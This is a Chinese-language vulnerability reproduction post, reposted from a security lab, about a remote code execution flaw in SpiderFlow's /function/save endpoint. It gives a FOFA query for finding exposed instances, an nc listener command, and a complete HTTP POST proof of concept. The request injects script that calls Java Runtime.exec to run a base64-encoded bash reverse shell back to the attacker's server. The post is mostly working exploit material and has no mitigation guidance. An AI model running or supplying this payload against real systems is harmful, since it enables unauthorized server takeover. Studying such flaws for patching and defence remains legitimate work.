SpiderFlow save 远程命令执行漏洞

本文转载于公众号：融云攻防实验室，原文地址：

漏洞复现 spiderflow save 远程命令执行漏洞

0x01 阅读须知

0x02 漏洞描述

spider-flow 是一个爬虫平台，以图形化方式定义爬虫流程，无需代码即可实现一个爬虫 。spider-flow系统 save 存在远程代码执行漏洞，攻击者通过漏洞可以获取服务器权限，导致服务器失陷。

0x03 漏洞复现

fofa：title==”SpiderFlow”

1.VPS nc监听，使用POC执行反弹shell命令，得到服务器权限

1.nc监听：
nc -lvvp 7777

2.POC反弹shell
POST /function/save HTTP/1.1
Host: {{Hostname}}
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:104.0) Gecko/20100101 Firefox/104.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://fofa.info/
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 181

id=&name=cmd&parameter=yw&script=}Java.type('java.lang.Runtime').getRuntime().exec('bash -c {echo,base64的bash反弹脚本}|{base64,-d}|{bash,-i}');